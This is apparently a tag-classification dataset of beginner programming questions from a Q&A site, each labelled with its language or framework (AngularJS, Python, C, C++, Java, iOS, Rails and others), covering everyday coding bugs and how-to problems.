$scope and counting children of an element in angularjs  i m pretty new to angularjs  and i have a jquery background so that could influence my way of thinking the problem.<br> in order to do dom manipulation through <code>transclude</code> directive (i.e. adding a specific class) i need to know how many children (or maybe siblings) has a generic element.<br> what i mean is i would like to set a class on all children  based on an algorithm that counts the number of children themselves.    this is what i tried so far     <pre><code>var main = angular.module( main  []);  function utilities(){     this.consolescope = function($scope){         return $scope.children().length;     }; }   main.service( utilities  [utilities]); main.controller( prova  [ $scope   utilities  function($scope utilities){     var self = this;     self.consolescope = function(){         return utilities.consolescope($scope);     }; }]); </code></pre>   but even if it runs without errors  it doesn t retrieve the information i wanted. i can comprehend this is not the <em>right</em> way to do this  but i can t see any other way. what could i try,angularjs
python - function like dict.get but returns value of default key instead of default value   let s say    <pre><code>a = {1:2  3:4  5:6} </code></pre>   is there a builtin function (maybe something like <code>a.get2(7 5))</code> that will return <code>a[7]</code>  or <code>a[5]</code> if <code>a[7]</code> doesn t exist     such function can be defined easily as <code>a.get(val  a.get(def_key))</code> but would prefer a builtin solution if exists.,python
c++ pass by reference for large objects  if i have a c++ function declaration:   <pre><code>int func(const vector&lt;int&gt; a) </code></pre>   would it always be beneficial to replace it with   <pre><code>int func(const vector&lt;int&gt; &amp;a) </code></pre>   since the latter does not need to make a copy of <code>a</code> to pass into the function,c++
how to stop input in programming c language  im trying to get it to stop but im not quite sure how to do that. im just starting to learn it. i want it to stop when i type -99.    any help would be greatly appreciated!    this is what i have:    <pre><code>#include &lt;stdio.h&gt; #define size 5 int main(void) {     int hot=0  pleasant=0  cold=0;     int sum=0  i  temp;     double average;      for(i=0; i&lt;size; i++)     {         printf( enter temperature %d&gt; (-99 to stop)  i+1);         scanf( %d  &amp;temp);         sum +=temp;           if(temp &gt;= 85)         {             ++hot;         }          else if(temp &gt;= 60 &amp;&amp; temp &lt;= 84)         {             ++pleasant;         }          else         {             ++cold;         }     }     average = (double) sum/size;      printf( the collection of hot days is %d\n  hot);     printf( the collection of pleasant days is %d\n  pleasant);     printf( the collection of cold days is %d\n  cold);     printf( the average temperature is %.2f\n  average);     return(0); } </code></pre>,c
how to create a java text-based hangman game and other issues  i am creating a hangman game in java and it almost works perfectly. so i have two problems. the first being that:     when the user inputs a letter and the word has repeated letters  how can i make it print both instances of the letter.   <ul> <li>i have created a while loop however this loop does not output the modified word until after the next go. if that makes sense  the second problem: i need to be able to prevent the user from entering the same letter twice</li> <li>i have attempted lists and arrays and hash sets. all sorts but none seem to work.</li> </ul>   my code is below:    there may be other threads with same questions but none seem to help as i cannot implement it into this person s code.   <pre><code>import java.util.scanner; import java.util.arrays;  public class hangman{  public static void main(string []args){ scanner input = new scanner(system.in);      string[] collectionofwords = {    gravity   banana   gate   processor   momentum   earth   star   light   television   pan   cupboard };      int radmnumber = (int) math.ceil (math.random() * collectionofwords.length);     int counter = 10;     string radmword = collectionofwords[radmnumber];      char[] genradmletter = radmword.tochararray();     char[] genradmletter2 = radmword.tochararray();     for (int x = 0; x&lt;genradmletter.length; x++){         genradmletter[x]=   ;     }      system.out.println(string.valueof(genradmletter));     system.out.println( hello. guess a letter. );     char guessedletter = input.next().charat(0);     int rw = radmword.indexof(guessedletter);      if (rw &gt;= 0 ){      genradmletter[rw] = guessedletter;     system.out.println(genradmletter);      }      if (rw == -1){         system.out.println( wrong letter  try again. );         counter = counter - 1;          system.out.println( lives left:   + counter);     }      while (counter != 0) {          system.out.println( guess a letter. );         guessedletter = input.next().charat(0);         rw = radmword.indexof(guessedletter);           if (rw &gt;= 0 ){          genradmletter[rw] = guessedletter;         system.out.println(genradmletter);     }          if (rw == -1){             system.out.println( wrong letter  try again. );             counter = counter - 1;              system.out.println( lives left:   + counter);     } else {             system.out.println(genradmletter);             while (rw &gt;= 0 ){                 genradmletter[rw] = guessedletter;                 rw = radmword.indexof(guessedletter  rw+1);              }     }          boolean result = arrays.equals(genradmletter  genradmletter2);         if (result == true){             break;         }          if (counter == 0){             break;         }      }      if (counter == 0){         system.out.println( you lose. the word was:   + radmword);     }      else {         system.out.println( well done  you have guessed the word. );         system.out.println( your final score is:   + counter);     }  }  } </code></pre>,java
can the .net dlls be distributed with the application now   i am quite interested about the recent .net developments  but i couldn t really follow everything in details. i d like to know if it s now possible to embed the .net framework dlls directly in the application instead to ask the user to download the framework separately.    p.s.: for  recent .net developments   i meant the fact that it s all going open source  therefore i wonder if i can use the new open sourced version. if i got it correctly  i could even use the framework code directly  so the application shouldn t need to request the framework dlls  should it,.net
iframe google translate code   i am using following code to add a google translator to my page header. but if i move it inside page content its not displaying anything. how to get the same translator box in iframe.   <pre><code>&lt;div id= google_translate_element  class= langswitch &gt;&lt;/div&gt; &lt;script&gt; function googletranslateelementinit() {   new google.translate.translateelement({     pagelanguage:  en       includedlanguages:  af sq ar hy az eu be bg ca zh-cn zh-tw hr cs da nl en et tl fi fr gl ka de el ht iw hi hu is id ga it ja ko la lv lt mk ms mt no fa pl pt ro ru sr sk sl es sw sv th tr uk ur vi cy yi       gatrack: true      gaid:  ua-2585500-1       layout: google.translate.translateelement.inlinelayout.simple   }   google_translate_element ); } &lt;/script&gt; &lt;script src= //translate.google.com/translate_a/element.js cb=googletranslateelementinit &gt;&lt;/script&gt; </code></pre>   thanks,asp.net
memory debugging problem  i am launching my app in the instruments to detect leaked objects and debug memory.    when i launch it  i have many leaks. i would like to know    <ol> <li>how much ( in kbyte) have i leaked object </li> <li>what is the total size of the objects leaked in my app </li> </ol>   should i have 0 byte leaked object when i launch instruments  ( to be validate per apple)    another question: do you see any memory leak in this code :   <pre><code>self.navigationcontroller.navigationbar.tintcolor = [uicolor colorwithred:......alpha:1.0]; </code></pre>   thanks for your answers.,iphone
returns true if the two strings only differ by one character  write a function nearlyequal to test whether two strings are nearly equal. two strings string1 and string2 are nearly equal when string1 can be generated by a single mutation on string2. the fundtion should return a boolean (true or false).   <pre><code>   returns true if the two strings only differ by one character. &gt;&gt;&gt; nearlyequal( python    perl ) false &gt;&gt;&gt; nearlyequal( perl    pearl ) true &gt;&gt;&gt; nearlyequal( python    jython ) true &gt;&gt;&gt; nearlyequal( man    woman ) false     def nearlyequal(string1  string2):   string1 = input( first word )   string2 = input( second word )     if string1 == string2:       print (true)     else:       print (false)   return nearlyequal(string1 string2)   print (nearlyequal(string1 string2)) string1 = () string2 = () print  nearlyequal(string1  string2) </code></pre>,python
expert system in dot net  asal-o-alikum    my final project is about an expert system of a medical center.    i have to implement it in .net and i want to ask that is it possible in .net to code a system that behave like a decision making system on the behalf of data in data base      e.g. a new patient come to doctor and doctor use the system and system suggest a diagnose  test or medicine on the base of relevant data about previous patients.,.net
trick to getting initwithnibfile to be invoked   i ve implemented a view controller  and i m trying to do some very basic initialization in initwithnibfile...which i understand to be the designated initializer for view controller objects.    i ve tried to put breakpoints on the code  and have put very simple nslog statements into it as well.  regardless...i m not seeing it be executed (and the object i m attempting to alloc/init inside the function is also not being allocated - so i m about 99% sure i m not hitting the code.    is there something i need to do elsewhere to cause this method to be invoked      i m getting a clean build  no warnings or errors.  and the app successfully loads up the view  and i can invoke a buttonclick method i ve coded and connected to this same view controller.    any suggestions would be appreciated.    tc,iphone
c tips and tricks explanation  can you explain me which is the mechanism behind the next code samples (i think i know but i need second opinion):    1)--------------------------   <pre><code>using namespace std;  int * f(int x) {   return &amp;x; }  int * g(int x  int y) {   return &amp;y; }  int * h(int x  int y  int z) {   return &amp;z; }  int main() {   cout &lt;&lt; *f(42) &lt;&lt; endl;   int * y1 = g(43  44);   int * y2 = g(45  46);   cout &lt;&lt; *y1 &lt;&lt;      &lt;&lt; *y2 &lt;&lt; endl;   int * z1 = h(47  48  49);   int * z2 = h(50  51  52);   cout &lt;&lt; *z1 &lt;&lt;      &lt;&lt; *z2 &lt;&lt; endl;   return 0; } </code></pre>   2)--------------------------   <pre><code>int *a  *b;  void f(int x) {   int i[3];   i[0] = x;   i[1] = x + 1;   i[2] = x + 2;   a = i; }    void g(int x) {   int i[3];   i[0] = x;   i[1] = x + 1;   i[2] = x + 2;   b = i; }    int main() {   f(1);   printf( a = {%d %d %d}\n   a[0]  a[1]  a[2]);   g(2);   printf( a = {%d %d %d}\n   a[0]  a[1]  a[2]); } </code></pre>   3)--------------------------   <pre><code>int main() {   char * hello =  hello  world!  + 3;   char * charstring =  h  +  ello  world! ;    printf( hello=%s  charstring=%s.\n   hello  charstring);   return 0; } </code></pre>   thank you.,c++
how do i change the android actionbar title with tab menu   how do i change the android actionbar title when i select tab menu     <img src= https://i.stack.imgur.com/ntfi2.png  alt=  >    <img src= https://i.stack.imgur.com/rojyw.png  alt=  >,android
python - comparing lists  i have 3 lists  the first of which is a list of 5 random digits  as shown below:   <pre><code>import random  def rolldice():     dice = []     for i in range(5):         dice.append(random.randint(1 6))     return sorted(dice)  dice = rolldice() largestraight = [[1 2 3 4 5]   [2 3 4 5 6]] smallstraight = [[1 2 3 4]   [2 3 4 5]   [3 4 5 6]] </code></pre>   my question is what is the best way to see if dice is equal to either of the nested lists in largestraight  and secondly whether any of the nested lists in smallstraight are a subset of dice. i am looking for a simple true or false return.    thanks for any help.,python
stopping angularjs from executing next line  how to tell angular to stop to process for next lines when meet the condition in if as below.    <strong>code</strong>     <pre><code>if(!$scope.add.partcode){     var alertpopup = $ionicpopup.alert({       title:  kartu stok ...         template:  silakan pilih part code terlebih dahulu.      });     $ionicloading.hide();    }else {     var partcode = $scope.add.partcode.part_no;   }   ...   ...   ... </code></pre>,angularjs
get visitors location (ip) without use of 3rd party lib  i am creating a <code>javascript</code> for my users and i am trying to make it as light weight as possible.    because of this i am not using any outside liberay (not even <code>jquery</code>) if possible i want to keep it that way.    so my question is: is it possible to get a visitors <code>ip</code> address without the use of external calls or lib.     by external calls i am refering to:    <code>ajax</code>  <code>google jsapi</code>  and others    note that i have been looking at the answer to this question <a href= https://stackoverflow.com/questions/391979/get-client-ip-using-just-javascript >get client ip using just javascript</a> however this is not what i am looking as it goes outside of the current page to collect its information.,javascript
is direct attribute access more  pythonic  than a defined api  what s more  pythonic     <pre><code>user.fullname = fullname user.gender= gender user.description = description </code></pre>   vs.   <pre><code>user.update_profile(fullname  gender  description) </code></pre>   obviously  the latter is just a wrapper for the former in most cases (and my preference)  but with all the talk i see online about how direct access (with property decorator) is more pythonic  i m just curious.,python
rails: user list with more information  hey  i m trying to create a user/member list for a site. every user listed should have additional information stored in the database like online status  age etc. i know how you can list users with    <pre><code>render @users  </code></pre>   but that just gives me a list of names. how do i manage to let s say create a table and each row is a user with additional information about this user,ruby-on-rails
get string between a known string and any non-alphanumeric character  i have this code which allows me to get the string between  global.  and    .   <pre><code>private string getglobalvariablename(string text)     {         int pfrom = text.indexof( global. ) +  global. .length;         int pto = text.lastindexof(   );          string name = text.substring(pfrom  pto - pfrom);          return name;     } </code></pre>   i want to modify it so that it gets the string between  global.  and any non-alphanumeric character. how could i do this     example:     this is true for what i have now    getglobalvariablename(  foo global.bar1 foobar ) ==  bar1     this is what i want to be able to do    getglobalvariablename(  foo global.bar1>foobar ) ==  bar1,c#
android plugin ddms not showing up on eclipse perspective  although the ddms plugin is installed (verified by checking the installed plugins) in eclipse  it is not showing up in the perspective (which is showing only java &amp; debug). any help with this would be great. thanks  animesh,android
how to reverse linked list c++ <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/1801549/reverse-a-singly-linked-list >reverse a singly linked list</a><br>   <a href= https://stackoverflow.com/questions/2887600/reverse-a-linked-list >reverse a linked list </a>    </blockquote>     i have been trying to figure out how to displays the contents of a linked list of numbers in reverse order. i tried changing nodes around and i cant figure it out. its a singly linked list. i thought of implementing a stack. is there a simpler way  heres my code. i need the function to be in the header file  and it will be implemented in the main.cpp. ive been trying for hours today and yesterday and this is really a last resort. i have pages of notes of failed algorithms. as well as pages of google searches but nothing seems to work. if it makes a difference im using microsoft visual studio 2010 (not my first choice). the code i presented does not have what ive been trying as it all failed horribly and usually produced errors.    <pre><code>#ifndef _linkedlist_h #define _linkedlist_h #include &lt;iostream&gt; #include &lt;string&gt; #include &lt;stack&gt;  #include  node.h   using namespace std; using namespace bruno;  namespace bruno { template&lt; typename t&gt; class linkedlist {     private:        node&lt;t&gt;  * head;                     node&lt;t&gt;  * tail;                     int numberofnodes;      public:         linkedlist();                     ~linkedlist();                      int length();                       node&lt;t&gt;  * gethead() { return head; };                     node&lt;t&gt;  * gettail() { return tail; };                      void insertinfront(t d);                     void insertinback(t d);                      static void listcontents( node&lt;t&gt; * head);                        static t  sum( node&lt;t&gt;  * head);    //     assume head is not null at call                      static void  increment( node&lt;t&gt;  * head  t val);                      static void reverselistcontents( node&lt;t&gt; * head  node&lt;t&gt; * tail  int n ); };      template&lt; typename t &gt;    linkedlist&lt;t&gt;::linkedlist()    {        head = tail = null;        numberofnodes = 0;    }      template&lt; typename t &gt;    linkedlist&lt;t&gt;::~linkedlist()    {    }       template&lt; typename t &gt;    int linkedlist&lt;t&gt;::length()    {         return numberofnodes;     }       template&lt; typename t &gt;    void linkedlist&lt;t&gt;::insertinfront(t d)    {         node&lt;t&gt; * p =  new node&lt;t&gt;;         p-&gt;data  =  d;         p-&gt;next  = head;         head = p;         if ( tail == null )             tail = p;         numberofnodes++;    }        template&lt; typename t &gt;    void linkedlist&lt;t&gt;::insertinback(t d)    {         if ( tail == null )             insertinfront(d);         else {                 tail-&gt;next = new node&lt;t&gt;;                 tail = tail-&gt;next;                 tail -&gt; data = d;                 tail -&gt; next = null;         }         numberofnodes++;     }      template&lt; typename t &gt;                           void linkedlist&lt;t&gt;::listcontents(node&lt;t&gt; * head)    {         if (head == null)  return;         else         {      cout &lt;&lt;  head-&gt;data  &lt;&lt;    -&gt;   ;                listcontents( head -&gt; next );         }    }        template&lt; typename t &gt;                           t linkedlist&lt;t&gt;::sum(node&lt;t&gt; * head)    {         if ( (head-&gt;next) == null )  return  head-&gt;data;         else              return  ( head-&gt;data    +   sum( head-&gt;next ) );    }        template&lt; typename t &gt;                           void linkedlist&lt;t&gt;::increment(node&lt;t&gt; * head  t  val)    {         if ( head == null )  return;         else         {             head-&gt;data += val;                    // add val to current data value             increment( head-&gt;next  val );         }     }     template&lt; typename t &gt;    void linkedlist&lt;t&gt;::reverselistcontents (node&lt;t&gt; * head  node&lt;t&gt; * tail  int n)    {        //clueless!      }    }  #endif  </code></pre>,c++
navigateurl= #  becomes href= subfolder/#    this isn t exactly fermat s last theorem  but it keeps coming back to annoy me like an unpaid phone bill from college. sometimes i want to create a <code>hyperlink</code> that does not cause a postback  so i want the target url to be #. when the markup happens to be from a usercontrol in a subfolder    <pre><code>/ |- home.aspx (uses uc.ascx) |- sub    |- uc.ascx </code></pre>   the url is rewritten with a relative path  e.g.   <pre><code>&lt;asp:hyperlink runat= server  navigateurl= #  &gt;click me!&lt;/asp:hyperlink&gt; </code></pre>   becomes   <pre><code>&lt;a href= subfolder/# &gt;click me!&lt;/a&gt; </code></pre>   which is  unfortunately  wrong. obviously i can get around this by not using a server control  but it seems stupid. can this be avoided     the point here is i will add a click event with jquery or in code-behind  and i never want it to cause a postback  but i want it to be a hyperlink for css reasons.,asp.net
crashing app when i want to go rootview from other view controller  i want to go root view controller from another view controller but i got the terminating error. following is the error message in console     <pre><code>terminating app due to uncaught exception  nsrangeexception   reason:  *** -[nscfarray removeobjectsinrange:]: index (4) beyond bounds (1)  </code></pre>   this is my code for that   <pre><code>nsarray *arr=self.navigationcontroller.viewcontrollers;  [self.navigationcontroller poptoviewcontroller:[arr objectatindex:2] animated:yes]; </code></pre>   so any one can give me the suggestion on it so can remove the crash,iphone
unable to read cookies from an asp.net web application in a third party application developed using javaservlets and javascript  i have a web application developed in asp.net. i m trying to read the cookie information from asp.net application into         another third party application developed using java servlets and javascript  on a different domain but i m unable to access the the cookies on the third party application.    could someone please give me a solution for this using javascript or using java servlets,java
how to set a default value to ng-options (multiple select)  i wanted to set a default value to my ng-options by using <code>ng-init</code>  <code>ng-model</code>  etc. they didn t work at all. my code is following:    <strong>angular</strong>   <pre><code>var app = angular.module( role   []);  app.controller( foocontroller   function($scope){     $scope.roles = [{id:1  name: administrator }  {id:2  name:  student }];     $scope.user.roles = $scope.roles[0]; }); </code></pre>   <strong>html</strong>   <pre><code>&lt;body data-ng-app= role  data-ng-controller= foocontroller &gt;   &lt;select multiple class= form-control  data-ng-model= user.roles  data-ng-options= role.name for role in roles  required=  &gt;&lt;/select&gt; &lt;/body&gt; </code></pre>   here is my <a href= http://plnkr.co/edit/wio3ugoz0vijy4orxc57 p=preview  rel= noreferrer >plunkr.</a> any help would be appreciated.,angularjs
setting href value from object in aspx page  i want to set value from object in href like this   <pre><code>&lt;a href= &lt;%result[0].documenturl %&gt; &gt;  </code></pre>   but i am getting compilation error. any help in syntax,asp.net
keep proportions of rectangle with css in any screen size  i have the next two elements in some rectangle view:   <pre><code>width:19%; height: 20vh !important; </code></pre>   with the first element i save the width to be smaller every time i small the screen.    i can t use the same thing on the height  because the block i use it with is always changing its height  and just its width stays the same.    i thought something about:   <pre><code>width =  do 20% of what the height is  </code></pre>   and then i will be able to keep the exactly size of the rectangle in every size of the screen  (because the width will be always depends with the height - which depends on the width of the block they are in and which never changes.)    edit: it s not the exact question like suggested below.<br> the  duplicate  talks about a container that always stay the same. my container is different because the height is changed every time!,css
why are cross-frame or -window arrays in javascript so hard to identify   crockford poses a solution in <em>javascript: the good parts</em> for identifying if an object is an array which goes something like this:   <pre><code>var isarray = function (obj) {    return obj &amp;&amp; typeof obj ===  object  &amp;&amp; obj.constructor === array; } </code></pre>   but then he goes on to state that    <blockquote>    ...it fails to identify arrays that were constructed in a different window or frame...  </blockquote>   why doesn t this solution work in that situation,javascript
group chat function xmpp on android  could you give me any tutorial about group chat using xmpp     i try what was written in documentation but it is failed.    my function   <pre><code>public void invitegroupchat() throws xmppexception{         multiuserchat muc = new multiuserchat(mconnection   roomname@servername );         muc.create( admin@servername );         form form = muc.getconfigurationform();         form submitform = form.createanswerform();         for (iterator fields = form.getfields();fields.hasnext();){           formfield field = (formfield) fields.next();             if(!formfield.type_hidden.equals(field.gettype()) &amp;&amp; field.getvariable()!= null){                 submitform.setdefaultanswer(field.getvariable());             }         }                        submitform.setanswer( muc#roomconfig_publicroom   true);         muc.sendconfigurationform(submitform);         muc.join( admin@servername );     } </code></pre>   that function call when button is click. i debug it error when call muc.create... the exception is remote server not found (404) anyone could help me to solve this,android
please look at my rock paper scissors program for python  <strong>the main problem i m having is trying to get the total wins loses and ties when user is playing with computer(random function). but i keep getting this error whenever i m inputting either 1  2  or 3 for rock paper scissors for player_choice.</strong>    <pre><code>welcome to a game of paper  rock  scissors! please input the correct number according  to the object. select rock(1)  paper(2)  or scissors(3): 2 computer chose rock . you chose paper . traceback (most recent call last):   file  c:\program files (x86)\wing ide 101 4.1\src\debug\tserver\_sandbox.py   line     114  in &lt;module&gt;   file  c:\program files (x86)\wing ide 101 4.1\src\debug\tserver\_sandbox.py   line    43  in main   file  c:\program files (x86)\wing ide 101 4.1\src\debug\tserver\_sandbox.py   line  106  in determine_winner builtins.unboundlocalerror: local variable  win  referenced before assignment </code></pre>   <strong>clearly its a local variable issue. are there any other solutions  here is my code:</strong>   <pre><code>#import the library function  random  so that you can use it for computer #choice import random  #define main def main():     #assign win  lose  and tie variables to zero so that later it can be added     #and displayed     win = 0     lose = 0     tie = 0      #control loop with  y  variable     play_again =  y       #start the game     while play_again ==  y :         #make a welcome message and give directions         print( welcome to a game of paper  rock  scissors! )         print( please input the correct number according )         print( to the object. )          #write computer and players choices as value returning functions and         #assign them to variables         computer_choice = get_computer_choice()         player_choice = get_player_choice()          #print outcome         print( computer chose   computer_choice   . )         print( you chose   player_choice   . )          #determine who won by defining a function         determine_winner(computer_choice  player_choice)          #ask the user if they want to play again         play_again = input( play again  enter  y  for yes or  n  for no.  )      #print results     print( your total wins are   win   . )     print( your total losses are   lose   . )     print( your total ties are   tie   . )  #define computer choice def get_computer_choice():     #use imported random function from library     choice = random.randint(1 3)      #assign what the computer chose to rock  paper  or scissors     if choice == 1:         choice =  rock      elif choice == 2:         choice =  paper      else:         choice =  scissors       #return value     return choice  #define player choice def get_player_choice():     #assign input to variable by prompting user     choice = int(input( select rock(1)  paper(2)  or scissors(3):  ))      #use while function if user inputs the invalid selection     while choice != 1 and choice != 2 and choice != 3:         print( the valid numbers are rock(type in 1)  paper(type in 2)  )         print( or scissors(type in 3). )         choice = int(input( enter a valid number please:  ))      #assign what the player chose to rock  paper  or scissors     if choice == 1:         choice =  rock      elif choice == 2:         choice =  paper      else:         choice =  scissors       #return value     return choice  #determine the winner by assigning the assigned variables def determine_winner(computer_choice  player_choice):     #if its a tie  add 1 to tie variable and display message     if computer_choice == player_choice:         tie += 1         print( it s a tie! )      #if its a win  add to win variable and display message     elif computer_choice ==  scissors  and player_choice ==  rock :         win += 1         print( rock crushes scissors! you win! )     elif computer_choice ==  paper  and player_choice ==  scissors :         win += 1         print( scissors cut paper! you win! )     elif computer_choice ==  rock  and player_choice ==  paper :         win += 1         print( paper covers rock! you win! )      #if it does not match any of the win criteria then add 1 to lose and     #display lose message     else:         lose += 1         print( you lose! ) main() </code></pre>,python
image and text display not working  i have an html file like this.i am getting the output like this in picture1.but i need an output like this in picture2.mainly text should be parallel to the image   <pre><code>&lt;html xmlns=\ http://www.w3.org/1999/xhtml\  lang=\ en-us\  xml:lang=\ en-us\ &gt; &lt;head&gt; &lt;title&gt;migrainemate paint graph&lt;/title&gt; &lt;meta http-equiv=\ content-type\  content=\ text/html; charset=iso-8859-1\  /&gt; &lt;link href=\ default.css\  rel=\ stylesheet\  type=\ text/css\ /&gt; &lt;/head&gt; &lt;body&gt; &lt;img  src=\ justin.png\  alt=\ justin biber\ /&gt; &lt;div id=\ notification\ &gt; &lt;h1&gt;please wait  graph may take a moment to load&lt;/h1&gt;  &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   and css file is    <pre><code>#notification  {     width: 860px;     height: 730px;     margin: auto;     background-color: transparent; }  #notification h1  {     padding-top: 15px;     padding-left:0px;     font-family: georgia   times new roman   times  serif;     font-size:20px; } </code></pre>,html
blocking inspector on any web browser  if you go to this site <a href= http://www.tackleplumbing.ca  rel= nofollow >http://www.tackleplumbing.ca</a> i cannot view the source or the divs if i right click on my mouse in chrome or firefox.    it will not give me any information i would like to do this for my own websites that i design.    is there a code for this and do i have to insert it into each page     thank you.,css
cross domain request using angularjs  i would like to display data from api using angularjs. this code works fine when run code on same pc. but when i tried to test on another pc then it is displaying error no <strong>access-control-allow-origin  header is present on the requested resource. angularjs</strong>    i am using 1.4.8    here is my code :   <pre><code>$http({             method: get               url:  http://ip/test_api/index.php/test123_api/empdtl_from_empid/emp_id/ +$scope.empid         })         .success( function( response ){             if (response != null || response !=  undefined ) {                 $scope.empnm = response.data.emp_name;             }         })         .error( function( response ) {             if(response.statuscode == 404)             {                 $scope.errorempnm =  you may inputted wrong employee id which have not exist  please enter correct employee id...!!! ;             }         }) </code></pre>,angularjs
how do you rotate a uiview in an animation   i can animate a uiview with sizes and positions etc. but how do you rotate it,iphone
values of array not calculating in subclass when called  just doing some of the gold challenges in the bnr ios book and chapter 2 s challenge has got me stumped.    this is my bnrcontainer.m class file that is a subclass of bnritem. the object of the challenge is to override the object s description and print out some of it s attributes. the one that isn t calculating correctly is the bnrcontainer s <code>containervalue</code>.   <pre><code>#import  bnrcontainer.h   ...   -(int)containervalue{      int total = 0;      for (bnritem *item in self.subitems) {         total += item.valueindollars;     }      return total; }  -(nsstring *)description{       nsstring *descriptionstr = [nsstring stringwithformat:@ i m a container named %@! my total value is %d and my items are %@  self.itemname  containervalue  self.subitems];     return descriptionstr; } </code></pre>   here s the main.m:   <pre><code>#import &lt;foundation/foundation.h&gt; #import  bnritem.h  #import  bnrcontainer.h   int main(int argc  const char * argv[]) {      @autoreleasepool {          nsmutablearray *items = [[nsmutablearray alloc] init];          bnritem *item = [[bnritem alloc] initwithitemname:@ red sofa  valueindollars:100 serialnumber:@ a1b2c ];         bnritem *itemwithname = [[bnritem alloc] initwithitemname:@ blue sofa  valueindollars:45 serialnumber:null];         bnritem *itemwithnoname = [[bnritem alloc]init];          [items addobject:item];         [items addobject:itemwithname];         [items addobject:itemwithnoname];          bnrcontainer *container = [[bnrcontainer alloc]init];          container.itemname = @ themaincontainer ;         container.subitems = items;          nslog(@ %@  container);          items = nil;      }     return 0; } </code></pre>   my results:   <pre><code>2014-04-08 23:38:58.395 randomitems[83205:303] i m a container named themaincontainer! my total value is 0 and my items are (      red sofa (a1b2c): worth 100  recorded on 2014-04-09 03:38:58 +0000        blue sofa ((null)): worth 45  recorded on 2014-04-09 03:38:58 +0000        item (): worth 0  recorded on 2014-04-09 03:38:58 +0000  </code></pre>,objective-c
include html file into another html file  can someone guide me how to include html file with an html file. i have been trying to embed my file within object tags but to no avail.        thanks!,html
figure out where/how trace listener is getting added  we are running into a race condition exception with the textwritertracelistener. the problem is  we can t find any code or config in development that is adding that listener. is there a way to diagnose where a trace listener is getting added,.net
classes with different files and passing vars between functions  how can i pass many variables to a function in a different file     i noticed that some files only have functions (they are grouped in individual files). for example  one file to control install (that has function for new installs  update installs  etc...)   other to grant access (create new user  delete user  update user).and those functions receive a quite amount of vars   as an example:   <pre><code>access_tool.add_user(cur con env family iserver version login                             password prefix proxyuser proxypass                             proxyserver user pass) </code></pre>   so  the access_tool( the file ) and the function ( get_add_info ) receives those vars from another file  and those vars are dynamic (results  from  database query). how can i pass those values to a function in a different file elegantly     <strong>example:</strong>    we have 2 important files:   <ol> <li>a.properties - which contains database info and credentials</li> <li>mainfile.py - main file  called to execute functions for example: <ul> <li>add-user env newuser newuserpass</li> </ul></li> </ol>   the add-user calls a function from the file access_tool.py called add_user.    what mainfile.py does is (for this example of user creation ) depending on the environment sent through the input  it will do a query into the database to select the x servers to add the user and it will store the result into the vars ( to be used into a array loop ):   <pre><code>cur con env family iserver version login password prefix proxyuser proxypass proxyserver </code></pre>   so  those vars will receive from loop  5   10 or more servers to add. the only variables that is static is newuser  and newuserpass (wich receives from the input )    the only problem i have is to make a decision about how i can pass (or share ) the variables to a function on another file.    some people from work suggest that i keep all of then at the same file  and instead of having many files for each class  just have one file with all the classes.,python
change header on masterpage depening on what page is being display  ok  i have read some really good suggestions.  i have a car dealership website that has a  page for each manufacturer.  i have created a header for each manufacturer which i have currently in an html file.  so when i click on ford  it will call the masterpage to get the data and i want to create a conditional statement that tells the masterpage to display the ford page header.  just the same  if i click on chevy  i want the masterpage to display the chevy header.      it has been a while since i have created a loop like this and i need some help with the code.    when the pages were in html. my code looked like...   <pre><code>&lt;body bgcolor= #ffffff  topmargin= 0   onload= startrotation(); type(); return true  align= center &gt;    &lt;!-- #include file= header-toyota.html  --&gt;   &lt;!-- #include file= body.html  --&gt;   &lt;!-- #include file= footer.html  --&gt;  &lt;/body&gt; </code></pre>   thanks for any help,.net
job only working once  then returns error  i m creating a background job that s job is essentially to wait for a users response. then do a certain action depending on their reply.   <pre><code>class awaitdriverreply   include sidekiq::worker   sidekiq_options retry: false    def perform(order_id)     activerecord::base.connection_pool.with_connection do       order = order.find_by(id: order_id)       10.times do         if order.accepted == true           puts  driver confirmed            break         elsif order.accepted == false           puts  driver has declined            break         else           puts  awaiting response            sleep(1)         end       end     end   end  end </code></pre>   the reason why i have to sleep it is because the user can obviously answer at different times  and this one waits ≈ 10 seconds. now this works perfectly the first time i run this job  then if i try to repeat it  the job returns an error  which i haven t been able to debug:   <pre><code>2016-02-22t16:34:52.096z 1431 tid-ovpfin8kg warn: nomethoderror: undefined method `accepted  for nil:nilclass 2016-02-22t16:34:52.096z 1431 tid-ovpfin8kg warn: /users/sebastian/workspace/ex/app/jobs/await_driver_reply.rb:11:in `block (2 levels) in perform  /users/sebastian/workspace/ex/app/jobs/await_driver_reply.rb:10:in `times  /users/sebastian/workspace/ex/app/jobs/await_driver_reply.rb:10:in `block in perform  /users/sebastian/.rvm/gems/ruby-2.3.0-preview2/gems/activerecord-5.0.0.beta2/lib/active_record/connection_adapters/abstract/connection_pool.rb:398:in `with_connection  /users/sebastian/workspace/ex/app/jobs/await_driver_reply.rb:6:in `perform  </code></pre>   and it returns undefined method accepted for nil  which usually means the order doesn t exist. however i added a <code>puts</code> that inspected the order  and it s there.,ruby-on-rails
how to change app developer website information in apple app store  how do i change the developer website information for an app     <img src= https://i.stack.imgur.com/qt8wc.jpg  alt=  >,ios
calculating the mean of an array <pre><code>#include&lt;stdio.h&gt; #include&lt;stdlib.h&gt; double mean(int i  int arr[]) {     int j  sum = 0;     for (j = 0; j &lt; i; j++)     {         sum = arr[j] + sum;     }     return (float)sum/i; } int main() {     int arr[100] = { null };     int i  n  sum = 0;     printf( how many numbers would you like to enter  );     scanf_s( %d   &amp;n);     while (n &gt; 100 || n &lt; 0)     {         printf( amount of numbers should be less than 0 and more than 100\n );         scanf_s( %d   &amp;n);     }     for (i = 0; i &lt; n; i++)     {         scanf_s( %d   &amp;arr[i + 1]);     }     printf( %f   mean(i-1  arr[i]));     system( pause ); } </code></pre>   when i run the code it gives me a read access error. the problem is with the mean() function i created but i don t know what s wrong. help,c
rails form_for only change controller  i would like to tell <code>form_for</code> to use a different controller <strong>without</strong> affecting the action.    i know how to change the url like   <pre><code>form_for @car  url: { controller:  admin/cars  } </code></pre>   but this will also change the action.     is there any way i can use a different controller with <code>form_for</code> without affecting the automatic choosing of the action,ruby-on-rails
